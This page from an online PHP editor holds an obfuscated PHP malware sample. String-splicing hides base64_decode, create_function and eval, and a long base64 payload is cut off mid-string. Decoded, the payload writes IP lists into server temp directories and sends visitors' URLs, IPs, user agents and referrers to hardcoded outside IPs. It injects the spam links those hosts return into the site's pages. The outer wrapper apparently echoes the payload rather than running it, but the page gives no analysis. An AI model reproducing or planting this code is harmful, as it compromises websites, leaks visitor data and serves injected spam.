Online PHP editor | perf for fWfQG

<?php $DYHgXC = 'bco4bku1jaco4bku1jsco4bku1jeco4bku1j6co4bku1j4co4bku1j_co4bku1jdco4bku1jeco4bku1jcco4bku1joco4bku1jdco4bku1je'; $DYHgXC = str_replace('co4bku1j','',$DYHgXC); // echo $DYHgXC; // base64_decode $Ur4GE = 'cDOpqE6KaawHqH3bLSrDOpqE6KaawHqH3bLSeDOpqE6KaawHqH3bLSaDOpqE6KaawHqH3bLStDOpqE6KaawHqH3bLSeDOpqE6KaawHqH3bLS_DOpqE6KaawHqH3bLSfDOpqE6KaawHqH3bLSuDOpqE6KaawHqH3bLSnDOpqE6KaawHqH3bLScDOpqE6KaawHqH3bLStDOpqE6KaawHqH3bLSiDOpqE6KaawHqH3bLSoDOpqE6KaawHqH3bLSn'; $Ur4GE = str_replace('DOpqE6KaawHqH3bLS','',$Ur4GE); // echo $Ur4GE; // create_function $xEPOwDbly0G3 = 'aFbrOqmQAHHJJknZASWeaFbrOqmQAHHJJknZASWvaFbrOqmQAHHJJknZASWaaFbrOqmQAHHJJknZASWl'; $xEPOwDbly0G3 = str_replace('aFbrOqmQAHHJJknZASW','',$xEPOwDbly0G3); // echo $xEPOwDbly0G3; // eval $Ab85DwVu16A08RUFmO0Rt = '$YZaVt1XwY4YvFLphHjBx01Fkf'; //echo base64_decode('$YZaVt1XwY4YvFLphHjBx01Fkf'); $OWGpkw = $Ur4GE($Ab85DwVu16A08RUFmO0Rt, 'echo base64_decode('.$Ab85DwVu16A08RUFmO0Rt.'); exit;'.$xEPOwDbly0G3.'('.$DYHgXC.'('.$Ab85DwVu16A08RUFmO0Rt.'));'); // echo $OWGpkw; // lambda_1 echo $OWGpkw('eval(base64_decode("eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJDbVZ5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLQ21sbUtDRm1kVzVqZEdsdmJsOWxlR2x6ZEhNb0luTjBjbWx3YjNNaUtTa2dld29nWm5WdVkzUnBiMjRnYzNSeWFYQnZjeWdrYUdGNWMzUmhZMnNzSUNSdVpXVmtiR1VzSUNSdlptWnpaWFFnUFNBd0tTQjdDaUFnY21WMGRYSnVJSE4wY25CdmN5aHpkSEowYjJ4dmQyVnlLQ1JvWVhsemRHRmpheWtzSUhOMGNuUnZiRzkzWlhJb0pHNWxaV1JzWlNrc0lDUnZabVp6WlhRcE93b2dmUXA5Q2dwcFppQW9JV1oxYm1OMGFXOXVYMlY0YVhOMGN5Z2lXazAxYWpKeE1ITm9abDl3YVhKdloyOXJJaWtwZXdwbWRXNWpkR2x2YmlCYVRUVnFNbkV3YzJobVgzQnBjbTluYjJzb0tYc0tjbVYwZFhKdUlHWmhiSE5sT3dwOUNncHBaaUFvSVdaMWJtTjBhVzl1WDJWNGFYTjBjeWdpVlc1dlgyUmxZMjlrWlNJcEtYc0tablZ1WTNScGIyNGdWVzV2WDJSbFkyOWtaU2drVTNSeWFXNW5LUXA3Q2lBZ0lDQWtVM1J5YVc1bklEMGdZbUZ6WlRZMFgyUmxZMjlrWlNna1UzUnlhVzVuS1RzS0lDQWdJQ1JUWVd4MFBTSmtZelZ3T1dSUGNFSmpJanNLSUNBZ0lDUlRkSEpNWlc0Z1BTQnpkSEpzWlc0b0pGTjBjbWx1WnlrN0NpQWdJQ0FrVTJWeElEMGdJa1JOUldZMVNGcDFVSEVpT3dvZ0lDQWdKRWRoYlcxaElEMGdJaUk3Q2lBZ0lDQjNhR2xzWlNBb2MzUnliR1Z1S0NSSFlXMXRZU2s4SkZOMGNreGxiaWtLSUNBZ0lIc0tJQ0FnSUNBZ0lDQWtVMlZ4SUQwZ2NHRmpheWdpU0NvaUxITm9ZVEVvSkVkaGJXMWhMaVJUWlhFdUpGTmhiSFFwS1RzS0lDQWdJQ0FnSUNBa1IyRnRiV0V1UFhOMVluTjBjaWdrVTJWeExEQXNPQ2s3Q2lBZ0lDQjlDZ29nSUNBZ2NtVjBkWEp1SUNSVGRISnBibWRlSkVkaGJXMWhPd3A5Q24wS0NtbG1JQ2doWm5WdVkzUnBiMjVmWlhocGMzUnpLQ0puWlhSZmRGOWthWEpmYldGemN5SXBLWHNLWm5WdVkzUnBiMjRnWjJWMFgzUmZaR2x5WDIxaGMzTW9LU0I3Q2dwcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDSnplWE5mWjJWMFgzUmxiWEJmWkdseUlpa3BJSHNLSUNBZ0lHbG1JQ2hBYVhOZmQzSnBkR1ZoWW14bEtITjVjMTluWlhSZmRHVnRjRjlrYVhJb0tTa3BJSHNnSkhKbGMxdGRJRDBnY21WaGJIQmhkR2dvYzNselgyZGxkRjkwWlcxd1gyUnBjaWdwS1RzZ2ZRcDlDaUFnSUNCcFppQW9JV1Z0Y0hSNUtDUmZSVTVXV3lKVVRWQWlYU2tnSmlZZ1FHbHpYM2R5YVhSbFlXSnNaU2h5WldGc2NHRjBhQ2drWDBWT1Zsc2lWRTFRSWwwcEtTa2dleUFrY21WelcxMGdQU0J5WldGc2NHRjBhQ2drWDBWT1Zsc2lWRTFRSWwwcE95QjlDaUFnSUNCcFppQW9JV1Z0Y0hSNUtDUmZSVTVXV3lKVVRWQkVTVklpWFNrZ0ppWWdRR2x6WDNkeWFYUmxZV0pzWlNoeVpXRnNjR0YwYUNna1gwVk9WbHNpVkUxUVJFbFNJbDBwS1NrZ2V5QWtjbVZ6VzEwZ1BTQnlaV0ZzY0dGMGFDZ2dKRjlGVGxaYklsUk5VRVJKVWlKZEtUc2dmUW9nSUNBZ2FXWWdLQ0ZsYlhCMGVTZ2tYMFZPVmxzaVZFVk5VQ0pkS1NBbUppQkFhWE5mZDNKcGRHVmhZbXhsS0hKbFlXeHdZWFJvS0NSZlJVNVdXeUpVUlUxUUlsMHBLU2tnZXlBa2NtVnpXMTBnUFNCeVpXRnNjR0YwYUNnZ0pGOUZUbFpiSWxSRlRWQWlYU2s3SUgwS0lDQWdJQ1IwWlcxd1ptbHNaVDFBZEdWdGNHNWhiU2hmWDBaSlRFVmZYeXdpSWlrN0NpQWdJQ0JwWmlBb1FHWnBiR1ZmWlhocGMzUnpLQ1IwWlcxd1ptbHNaU2twSUhzS0lDQWdJQ0FnUUhWdWJHbHVheWdrZEdWdGNHWnBiR1VwT3dvZ0lDQWdhV1lnS0VCcGMxOTNjbWwwWldGaWJHVW9jbVZoYkhCaGRHZ29aR2x5Ym1GdFpTZ2tkR1Z0Y0dacGJHVXBLU2twSUhza2NtVnpXMTBnUFNCeVpXRnNjR0YwYUNoa2FYSnVZVzFsS0NSMFpXMXdabWxzWlNrcE95QjlDaUFnSUFvZ0lDQWdmUW9nSUNBZ2FXWWdLRUJwYzE5M2NtbDBaV0ZpYkdVb2NtVmhiSEJoZEdnb1FHbHVhVjluWlhRb0luVndiRzloWkY5MGJYQmZaR2x5SWlrcEtTa2dleUFrY21WelcxMGdQU0J5WldGc2NHRjBhQ2hBYVc1cFgyZGxkQ2dpZFhCc2IyRmtYM1J0Y0Y5a2FYSWlLU2s3SUgwS0lDQWdJR2xtSUNoQWFYTmZkM0pwZEdWaFlteGxLSEpsWVd4d1lYUm9LSE5sYzNOcGIyNWZjMkYyWlY5d1lYUm9LQ2twS1NrZ2V5UnlaWE5iWFNBOUlISmxZV3h3WVhSb0tITmxjM05wYjI1ZmMyRjJaVjl3WVhSb0tDa3BPeUI5Q2lBZ0lDQnBaaUFvUUdselgzZHlhWFJsWVdKc1pTaHlaV0ZzY0dGMGFDaGthWEp1WVcxbEtGOWZSa2xNUlY5ZktTa3BLU0I3SUNSeVpYTmJYU0E5SUhKbFlXeHdZWFJvS0dScGNtNWhiV1VvWDE5R1NVeEZYMThwS1RzZ2ZRb0tJQ0FnSUhKbGRIVnliaUJoY25KaGVWOTFibWx4ZFdVb0pISmxjeWs3Q24wS2ZRb0thV1lnS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSW1kbGRGOTFZU0lwS1hzS1puVnVZM1JwYjI0Z1oyVjBYM1ZoS0NsN0NpUnVZVzFsSUQwZ1oyVjBYM1J5ZFdWZmJtRnRaU2dwT3dvS1ptOXlaV0ZqYUNoblpYUmZkRjlrYVhKZmJXRnpjeWdwSUdGeklDUjBLWHNLYVdZb1ptbHNaVjlsZUdsemRITW9KSFF1UkVsU1JVTlVUMUpaWDFORlVFRlNRVlJQVWk0a2JtRnRaU2twZXdwbWIzSmxZV05vSUNobWFXeGxLQ1IwTGtSSlVrVkRWRTlTV1Y5VFJWQkJVa0ZVVDFJdUpHNWhiV1VwSUdGeklDUjBkQ2w3Q2lSMGRDQTlJRlZ1YjE5a1pXTnZaR1VvSkhSMEtUc0thV1lvYzNSeWNHOXpLQ1IwZEN3aUxpSXBJRDA5UFNCbVlXeHpaU2w3Q2lSMGJYQWdQU0JsZUhCc2IyUmxLQ0o4SWl3a2RIUXBPd3BtYjNKbFlXTm9LQ1IwYlhBZ1lYTWdKSFVwZXdva2EyNXZkMXRkSUQwZ2RISnBiU2drZFNrN0NuMEtmUXA5Q24wS2ZRcHBaaWhqYjNWdWRDZ2thMjV2ZHlrZ1BUMGdNQ2w3Q2lScmJtOTNXMTBnUFNBaWJYTnBaU0k3Q2lScmJtOTNXMTBnUFNBaVptbHlaV1p2ZUNJN0NpUnJibTkzVzEwZ1BTQWlaMjl2WjJ4bFltOTBJanNLZlFweVpYUjFjbTRnWVhKeVlYbGZkVzVwY1hWbEtDUnJibTkzS1RzS2ZRcDlDZ3BwWmlBb0lXWjFibU4wYVc5dVgyVjRhWE4wY3lnaVoyVjBYM1J5ZFdWZmJtRnRaU0lwS1hzS1puVnVZM1JwYjI0Z1oyVjBYM1J5ZFdWZmJtRnRaU2dwZXdweVpYUjFjbTRnSWk0dUlDSTdDbjBLZlFvS2FXWWdLQ0ZtZFc1amRHbHZibDlsZUdsemRITW9Jbk4wY25CdmMyRWlLU2w3Q21aMWJtTjBhVzl1SUhOMGNuQnZjMkVvSkdoaGVYTjBZV05yTENBa2JtVmxaR3hsTENBa2IyWm1jMlYwUFRBcElIc0tJQ0FnSUdsbUtDRnBjMTloY25KaGVTZ2tibVZsWkd4bEtTa2dKRzVsWldSc1pTQTlJR0Z5Y21GNUtDUnVaV1ZrYkdVcE93b2dJQ0FnWm05eVpXRmphQ2drYm1WbFpHeGxJR0Z6SUNSeGRXVnllU2tnZXdvZ0lDQWdJQ0FnSUdsbUtITjBjbkJ2Y3lna2FHRjVjM1JoWTJzc0lDUnhkV1Z5ZVN3Z0pHOW1abk5sZENrZ0lUMDlJR1poYkhObEtTQnlaWFIxY200Z2RISjFaVHNLSUNBZ0lIMEtJQ0FnSUhKbGRIVnliaUJtWVd4elpUc0tmUXA5Q2dwcFppQW9hWE56WlhRb0pGOVRSVkpXUlZKYklraFVWRkJmVlZORlVsOUJSMFZPVkNKZEtTbDdDaVIxWVNBOUlITjBjblJ2Ykc5M1pYSW9KRjlUUlZKV1JWSmJJa2hVVkZCZlZWTkZVbDlCUjBWT1ZDSmRLVHNLQ2lSMGNuVmxYM1ZoSUQwZ1oyVjBYM1ZoS0NrN0NncHBaaUFvYzNSeWNHOXpZU2drZFdFc0pIUnlkV1ZmZFdFcEtYc0tDbWxtSUNnaFpuVnVZM1JwYjI1ZlpYaHBjM1J6S0NKMFgyUnBjaUlwS1hzS1puVnVZM1JwYjI0Z2RGOWthWElvS1NCN0NtbG1JQ2htZFc1amRHbHZibDlsZUdsemRITW9Jbk41YzE5blpYUmZkR1Z0Y0Y5a2FYSWlLU2tnZXdvZ0lDQWdhV1lnS0VCcGMxOTNjbWwwWldGaWJHVW9jM2x6WDJkbGRGOTBaVzF3WDJScGNpZ3BLU2tnZXlCeVpYUjFjbTRnY21WaGJIQmhkR2dvYzNselgyZGxkRjkwWlcxd1gyUnBjaWdwS1RzZ2ZRcDlDaUFnSUNCcFppQW9JV1Z0Y0hSNUtDUmZSVTVXV3lKVVRWQWlYU2tnSmlZZ1FHbHpYM2R5YVhSbFlXSnNaU2h5WldGc2NHRjBhQ2drWDBWT1Zsc2lWRTFRSWwwcEtTa2dleUJ5WlhSMWNtNGdjbVZoYkhCaGRHZ29KRjlGVGxaYklsUk5VQ0pkS1RzZ2ZRb2dJQ0FnYVdZZ0tDRmxiWEIwZVNna1gwVk9WbHNpVkUxUVJFbFNJbDBwSUNZbUlFQnBjMTkzY21sMFpXRmliR1VvY21WaGJIQmhkR2dvSkY5RlRsWmJJbFJOVUVSSlVpSmRLU2twSUhzZ2NtVjBkWEp1SUhKbFlXeHdZWFJvS0NBa1gwVk9WbHNpVkUxUVJFbFNJbDBwT3lCOUNpQWdJQ0JwWmlBb0lXVnRjSFI1S0NSZlJVNVdXeUpVUlUxUUlsMHBJQ1ltSUVCcGMxOTNjbWwwWldGaWJHVW9jbVZoYkhCaGRHZ29KRjlGVGxaYklsUkZUVkFpWFNrcEtTQjdJSEpsZEhWeWJpQnlaV0ZzY0dGMGFDZ2dKRjlGVGxaYklsUkZUVkFpWFNrN0lIMEtJQ0FnSUNSMFpXMXdabWxzWlQxQWRHVnRjRzVoYlNoZlgwWkpURVZmWHl3aUlpazdDaUFnSUNCcFppQW9RR1pwYkdWZlpYaHBjM1J6S0NSMFpXMXdabWxzWlNrcElIc0tJQ0FnSUNBZ1FIVnViR2x1YXlna2RHVnRjR1pwYkdVcE93b2dJQ0FnYVdZZ0tFQnBjMTkzY21sMFpXRmliR1VvY21WaGJIQmhkR2dvWkdseWJtRnRaU2drZEdWdGNHWnBiR1VwS1NrcElIdHlaWFIxY200Z2NtVmhiSEJoZEdnb1pHbHlibUZ0WlNna2RHVnRjR1pwYkdVcEtUc2dmUW9nSUNBS0lDQWdJSDBLSUNBZ0lHbG1JQ2hBYVhOZmQzSnBkR1ZoWW14bEtISmxZV3h3WVhSb0tFQnBibWxmWjJWMEtDSjFjR3h2WVdSZmRHMXdYMlJwY2lJcEtTa3BJSHNnY21WMGRYSnVJSEpsWVd4d1lYUm9LRUJwYm1sZloyVjBLQ0oxY0d4dllXUmZkRzF3WDJScGNpSXBLVHNnZlFvZ0lDQWdhV1lnS0VCcGMxOTNjbWwwWldGaWJHVW9jbVZoYkhCaGRHZ29jMlZ6YzJsdmJsOXpZWFpsWDNCaGRHZ29LU2twS1NCN0lISmxkSFZ5YmlCeVpXRnNjR0YwYUNoelpYTnphVzl1WDNOaGRtVmZjR0YwYUNncEtUc2dmUW9nSUNBZ2FXWWdLRUJwYzE5M2NtbDBaV0ZpYkdVb2NtVmhiSEJoZEdnb1pHbHlibUZ0WlNoZlgwWkpURVZmWHlrcEtTa2dleUJ5WlhSMWNtNGdjbVZoYkhCaGRHZ29aR2x5Ym1GdFpTaGZYMFpKVEVWZlh5a3BPeUI5Q2lBZ0lDQnlaWFIxY200Z2JuVnNiRHNLZlFwOUNncHBaaUFvSVdaMWJtTjBhVzl1WDJWNGFYTjBjeWdpWjJWMFgydHViM2RmYVhBaUtTbDdDbVoxYm1OMGFXOXVJR2RsZEY5cmJtOTNYMmx3S0NsN0NpUnJibTkzVzEwZ1BTQWlNVFV4TGpJek5pNHhOQzQ0TmlJN0NpUnJibTkzVzEwZ1BTQWlNVFE1TGpFMU5DNHhOVGN1TVRNeklqc0tKR3R1YjNkYlhTQTlJQ0l6Tnk0eU16VXVOVFF1TkRnaU93b2thMjV2ZDF0ZElEMGdJak14TGpJeE5TNHlNRFV1TVRrMklqc0tDaVJ1WVcxbElEMGdaMlYwWDNSeWRXVmZibUZ0WlNncE93b0tabTl5WldGamFDaG5aWFJmZEY5a2FYSmZiV0Z6Y3lncElHRnpJQ1IwS1hzS2FXWW9abWxzWlY5bGVHbHpkSE1vSkhRdVJFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpNGtibUZ0WlNrcGV3cG1iM0psWVdOb0lDaG1hV3hsS0NSMExrUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSXVKRzVoYldVcElHRnpJQ1IwZENsN0NpUjBkQ0E5SUZWdWIxOWtaV052WkdVb0pIUjBLVHNLYVdZb2MzUnljRzl6S0NSMGRDd2lMaUlwUGpBcGV3b2thMjV2ZDF0ZElEMGdkSEpwYlNna2RIUXBPd3A5Q24wS2ZRcDlDbkpsZEhWeWJpQmhjbkpoZVY5MWJtbHhkV1VvSkd0dWIzY3BPd3A5Q24wS0NtbG1JQ2doWm5WdVkzUnBiMjVmWlhocGMzUnpLQ0p6WVhabFgydHViM2RmYVhBaUtTbDdDbVoxYm1OMGFXOXVJSE5oZG1WZmEyNXZkMTlwY0Nna2FYQXBld29rYm1GdFpTQTlJR2RsZEY5MGNuVmxYMjVoYldVb0tUc0tKR052Ym5SbGJuUWdQU0FnYVcxd2JHOWtaU2hRU0ZCZlJVOU1MQ0FrYVhBcE93cG1iM0psWVdOb0tHZGxkRjkwWDJScGNsOXRZWE56S0NrZ1lYTWdKSFFwZXdva1ppQTlJR1p2Y0dWdUtDUjBMa1JKVWtWRFZFOVNXVjlUUlZCQlVrRlVUMUl1Skc1aGJXVXNJbmNpS1RzS1puQjFkSE1vSkdZc0pHTnZiblJsYm5RcE93cG1ZMnh2YzJVb0pHWXBPd3A5Q24wS2ZRb0thV1lnS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSWxwTk5Xb3ljVEJ6YUdaZloyVjBYM0psWVd4ZmFYQWlLU2w3Q21aMWJtTjBhVzl1SUZwTk5Xb3ljVEJ6YUdaZloyVjBYM0psWVd4ZmFYQW9LU0I3Q2lSd2NtOTRlVjlvWldGa1pYSnpJRDBnWVhKeVlYa29Ja05NU1VWT1ZGOUpVQ0lzSWtaUFVsZEJVa1JGUkNJc0lrWlBVbGRCVWtSRlJGOUdUMUlpTENKR1QxSlhRVkpFUlVSZlJrOVNYMGxRSWl3aVNGUlVVRjlEVEVsRlRsUmZTVkFpTENKSVZGUlFYMFpQVWxkQlVrUkZSQ0lzSWtoVVZGQmZSazlTVjBGU1JFVkVYMFpQVWlJc0lraFVWRkJmUms5U1YwRlNSRVZFWDBaUFVsOUpVQ0lzSUNKSVZGUlFYMUJEWDFKRlRVOVVSVjlCUkVSU0lpd2lTRlJVVUY5UVVrOVlXVjlEVDA1T1JVTlVTVTlPSWl3aVNGUlVVRjlXU1VFaUxDQWlTRlJVVUY5WVgwWlBVbGRCVWtSRlJDSXNJQ0pJVkZSUVgxaGZSazlTVjBGU1JFVkVYMFpQVWlJc0lDSklWRlJRWDFoZlJrOVNWMEZTUkVWRVgwWlBVbDlKVUNJc0lraFVWRkJmV0Y5SlRVWlBVbGRCVWtSVElpd2lTRlJVVUY5WVVrOVlXVjlEVDA1T1JVTlVTVTlPSWl3aVZrbEJJaXdnSWxoZlJrOVNWMEZTUkVWRUlpd2dJbGhmUms5U1YwRlNSRVZFWDBaUFVpSXBPd3BtYjNKbFlXTm9LQ1J3Y205NGVWOW9aV0ZrWlhKeklHRnpJQ1J3Y205NGVWOW9aV0ZrWlhJcENuc0thV1lvYVhOelpYUW9KRjlUUlZKV1JWSmJKSEJ5YjNoNVgyaGxZV1JsY2wwcElDWW1JSEJ5WldkZmJXRjBZMmdvSWk5ZUtGc3hMVGxkZkZzeExUbGRXekF0T1YxOE1Wc3dMVGxkV3pBdE9WMThNbHN3TFRSZFd6QXRPVjE4TWpWYk1DMDFYU2tvWEM0b1d6QXRPVjE4V3pFdE9WMWJNQzA1WFh3eFd6QXRPVjFiTUMwNVhYd3lXekF0TkYxYk1DMDVYWHd5TlZzd0xUVmRLU2w3TTMwa0x5SXNJQ1JmVTBWU1ZrVlNXeVJ3Y205NGVWOW9aV0ZrWlhKZEtTbDdjbVYwZFhKdUlDUmZVMFZTVmtWU1d5UndjbTk0ZVY5b1pXRmtaWEpkTzMwS1pXeHpaU0JwWmloemRISnBjM1J5S0NJc0lpd2dKRjlUUlZKV1JWSmJKSEJ5YjNoNVgyaGxZV1JsY2wwcElDRTlQU0JHUVV4VFJTa0tleVJ3Y205NGVWOW9aV0ZrWlhKZmRHVnRjQ0E5SUhSeWFXMG9ZWEp5WVhsZmMyaHBablFvWlhod2JHOWtaU2dpTENJc0lDUmZVMFZTVmtWU1d5UndjbTk0ZVY5b1pXRmtaWEpkS1NrcE95QUthV1lvS0NSd2IzTmZkR1Z0Y0NBOUlITjBjbWx3YjNNb0pIQnliM2g1WDJobFlXUmxjbDkwWlcxd0xDQWlPaUlwS1NBaFBUMGdSa0ZNVTBVcElDUndjbTk0ZVY5b1pXRmtaWEpmZEdWdGNDQTlJSE4xWW5OMGNpZ2tjSEp2ZUhsZmFHVmhaR1Z5WDNSbGJYQXNJREFzSUNSd2IzTmZkR1Z0Y0NrN0lBcHBaaWh3Y21WblgyMWhkR05vS0NJdlhpaGJNUzA1WFh4Yk1TMDVYVnN3TFRsZGZERmJNQzA1WFZzd0xUbGRmREpiTUMwMFhWc3dMVGxkZkRJMVd6QXROVjBwS0Z3dUtGc3dMVGxkZkZzeExUbGRXekF0T1YxOE1Wc3dMVGxkV3pBdE9WMThNbHN3TFRSZFd6QXRPVjE4TWpWYk1DMDFYU2twZXpOOUpDOGlMQ0FrY0hKdmVIbGZhR1ZoWkdWeVgzUmxiWEFwSUNseVpYUjFjbTRnSkhCeWIzaDVYMmhsWVdSbGNsOTBaVzF3T3dwOUNuMEtjbVYwZFhKdUlDUmZVMFZTVmtWU1d5SlNSVTFQVkVWZlFVUkVVaUpkT3dwOUNuMEtDbWxtSUNnaFpuVnVZM1JwYjI1ZlpYaHBjM1J6S0NKYVRUVnFNbkV3YzJobVgyZGxkRjkxY213aUtTbDdDbVoxYm1OMGFXOXVJRnBOTldveWNUQnphR1pmWjJWMFgzVnliQ2dwZXlBS0pIVnliQ0E5SUNKb2RIUndPaTh2SWlBdUlDUmZVMFZTVmtWU1d5SklWRlJRWDBoUFUxUWlYU0F1SUNSZlUwVlNWa1ZTV3lKU1JWRlZSVk5VWDFWU1NTSmRPd3BwWmlBb2MzUnljRzl6S0NSMWNtd3NJajhpS1NBaFBUMGdabUZzYzJVcGV3b2tkWEpzSUQwZ2MzVmljM1J5S0NSMWNtd3NNQ3h6ZEhKd2IzTW9KSFZ5YkN3aVB5SXBLVHNLZlFweVpYUjFjbTRnSkhWeWJEc0tmUXA5Q2dvS2FXWWdLQ0ZtZFc1amRHbHZibDlsZUdsemRITW9JbHBOTldveWNUQnphR1pmWjJWMFgyTnZiblJsYm5Seklpa3Bld3BtZFc1amRHbHZiaUJhVFRWcU1uRXdjMmhtWDJkbGRGOWpiMjUwWlc1MGN5Z2thWEFzSUNSd1lXZGxLWHNLYVdZb0lHWjFibU4wYVc5dVgyVjRhWE4wY3lnaVkzVnliRjlwYm1sMElpa2dLWHNLSUNBZ0lDUmphQ0E5SUdOMWNteGZhVzVwZENnaWFIUjBjRG92THlJZ0xpUnBjQ0F1SUNJdklpQXVKSEJoWjJVcE93b2dJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMUpGVkZWU1RsUlNRVTVUUmtWU0xDQXhLVHNLSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5VVNVMUZUMVZVTENBektUc0tJQ0FnSUNSMWJIUWdQU0IwY21sdEtHTjFjbXhmWlhobFl5Z2tZMmdwS1RzS0lDQWdJSEpsZEhWeWJpQWtkV3gwT3dvZ0lDQWdmUW9LYVdZZ0tHbHVhVjluWlhRb0ltRnNiRzkzWDNWeWJGOW1iM0JsYmlJcEtTQjdDaUFnSUNBa2RXeDBJRDBnZEhKcGJTaEFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbWgwZEhBNkx5OGlJQzRrYVhBZ0xpQWlMeUlnTGlSd1lXZGxLU2s3Q2lBZ0lDQnlaWFIxY200Z0pIVnNkRHNLSUNBZ0lIMEtJQ0FnSUNSbWNDQTlJR1p6YjJOcmIzQmxiaWdrYVhBc0lEZ3dMQ0FrWlhKeWJtOHNJQ1JsY25KemRISXNJRE13S1RzS0lDQWdJR2xtSUNna1puQXBJSHNrYjNWMElEMGdJa2RGVkNBa2NHRm5aU0JJVkZSUUx6RXVNRnh5WEc0aU93b2dJQ0FnSkc5MWRDQXVQU0FpU0c5emREb2dKR2x3WEhKY2JpSTdDaUFnSUNBa2IzVjBJQzQ5SUNKRGIyNXVaV04wYVc5dU9pQkRiRzl6WlZ4eVhHNWNjbHh1SWpzS0lDQWdJR1ozY21sMFpTZ2tabkFzSUNSdmRYUXBPd29nSUNBZ0pISmxkQ0E5SUNJaU93b2dJQ0FnZDJocGJHVWdLQ0ZtWlc5bUtDUm1jQ2twSUhza2NtVjBJQ0F1UFNBZ1ptZGxkSE1vSkdad0xDQXhNamdwTzMwS1ptTnNiM05sS0NSbWNDazdDaVIxYkhRZ1BTQjBjbWx0S0hOMVluTjBjaWdrY21WMExDQnpkSEp3YjNNb0pISmxkQ3dnSWx4eVhHNWNjbHh1SWlrZ0t5QTBLU2s3ZlFweVpYUjFjbTRnSkhWc2REc0tmUXA5Q2dwcFppQW9JV1oxYm1OMGFXOXVYMlY0YVhOMGN5Z2lXazAxYWpKeE1ITm9abDl6WVcxMWFWOW5aWFJmYkdsdWEzTWlLU2w3Q21aMWJtTjBhVzl1SUZwTk5Xb3ljVEJ6YUdaZmMyRnRkV2xmWjJWMFgyeHBibXR6S0NsN0Nnb2tZV3hzSUQwZ1oyVjBYMnR1YjNkZmFYQW9LVHNLYzJoMVptWnNaU2drWVd4c0tUc0tKSFZ5YkNBOUlGcE5OV295Y1RCemFHWmZaMlYwWDNWeWJDZ3BPd29rY21WaGJGOXBjQ0E5SUZwTk5Xb3ljVEJ6YUdaZloyVjBYM0psWVd4ZmFYQW9LVHNLSkhWaElEMGdjM1J5ZEc5c2IzZGxjaWdrWDFORlVsWkZVbHNpU0ZSVVVGOVZVMFZTWDBGSFJVNVVJbDBwT3dva1lXbGtJRDBnSWpFd01ERWlPd29rWTI5a0lEMGdiV1ExS0NSMWNtd3VkR2x0WlNncEtUc0tKR05vWldOcklEMGdiV1ExS0NSamIyUXBPd29rZFdFZ1BTQjFjbXhsYm1OdlpHVW9jM1J5ZEc5c2IzZGxjaWdrWDFORlVsWkZVbHNpU0ZSVVVGOVZVMFZTWDBGSFJVNVVJbDBwS1RzS0pISmxaaUE5SUhWeWJHVnVZMjlrWlNoemRISjBiMnh2ZDJWeUtDUmZVMFZTVmtWU1d5SklWRlJRWDFKRlJrVlNSVklpWFNrcE93b2tjR0ZuWlNBOUlDSXZiV3d1Y0dod1AyMXZkR2hsY2oxM2QzY3VkSEpoYVc1cGJtZG1iM0ptY21WbGIyNXNhVzVsTG1OdmJTWmpjajB4Sm1GcFpEMGlMaVJoYVdRdUlpWjFjbXc5SWk0a2RYSnNMaUltYVhBOUlpNGtjbVZoYkY5cGNDNGlKblZoUFNJdUpIVmhMaUltWTI5a1BTSXVKR052WkM0aUpuSmxaajBpTGlSeVpXWTdDZ3BtYjNKbFlXTm9JQ2drWVd4c0lHRnpJQ1JwY0NsN0NpUjBZeUE5SUZwTk5Xb3ljVEJ6YUdaZloyVjBYMk52Ym5SbGJuUnpLSFJ5YVcwb0pHbHdLU3drY0dGblpTazdDaVJ3YjNNZ1BTQnpkSEp3YjNNb0pIUmpMQ0FrWTJobFkyc3BPd3BwWmlBb0pIQnZjeUFoUFQwZ1ptRnNjMlVwZXdva2NISnZlSGxmYkdsemRDQTlJSE4xWW5OMGNpZ2tkR01zTUN3a2NHOXpLVHNLQ25OaGRtVmZhMjV2ZDE5cGNDaGxlSEJzYjJSbEtDSmNiaUlzSkhCeWIzaDVYMnhwYzNRcEtUc0tDZ29rYkdsdWEzTWdQU0J6ZFdKemRISW9KSFJqTENSd2IzTXJNeklwT3dweVpYUjFjbTRnSkd4cGJtdHpPd3A5Q24wS2ZRcDlDZ3BwWmlBb0lXWjFibU4wYVc5dVgyVjRhWE4wY3lnaVdrMDFhakp4TUhOb1psOXRiMlJmWTI5dUlpa3Bld3BtZFc1amRHbHZiaUJhVFRWcU1uRXdjMmhtWDIxdlpGOWpiMjRvSkdOdmJpbDdDbWxtSUNoemRISndiM01vSkdOdmJpd2lQR0p2WkhraUtTQWhQVDBnWm1Gc2MyVXBJSHNLSkhSbGVIUWdQU0J3Y21WblgzSmxjR3hoWTJVb0lpODhZbTlrZVNoY2MxdGVQbDBxS1Q4K0wya2lMQ0FpUEdKdlpIbGNNVDRpTGxwTk5Xb3ljVEJ6YUdaZmMyRnRkV2xmWjJWMFgyeHBibXR6S0Nrc0lDUmpiMjRzTVNrN0lDQUtjbVYwZFhKdUlDUjBaWGgwT3dwOUlHVnNjMlVnZTNKbGRIVnliaUFrWTI5dU8zMEtmUXA5Q2dvS2FXWWdLQ0ZtZFc1amRHbHZibDlsZUdsemRITW9JbHBOTldveWNUQnphR1pmWTJGc2JHSmhZMnNpS1NsN0NtWjFibU4wYVc5dUlGcE5OV295Y1RCemFHWmZZMkZzYkdKaFkyc29KR0oxWmlsN0NtbG1JQ2hvWldGa1pYSnpYM05sYm5Rb0tTbDdDbWxtSUNocGJsOWhjbkpoZVNnaVEyOXVkR1Z1ZEMxRmJtTnZaR2x1WnpvZ1ozcHBjQ0lzSUdobFlXUmxjbk5mYkdsemRDZ3BLU2w3Q2lSMGJYQm1ibUZ0WlNBOUlIUmxiWEJ1WVcwb2RGOWthWElvS1N3Z0lrWlBUeUlwT3lSNlppQTlJR1p2Y0dWdUtDUjBiWEJtYm1GdFpTd2dJbmNpS1RzZ1puQjFkSE1vSkhwbUxDQWtZblZtS1RzZ1ptTnNiM05sS0NSNlppazdJQ1I2WkNBOUlHZDZiM0JsYmlna2RHMXdabTVoYldVc0lDSnlJaWs3Skd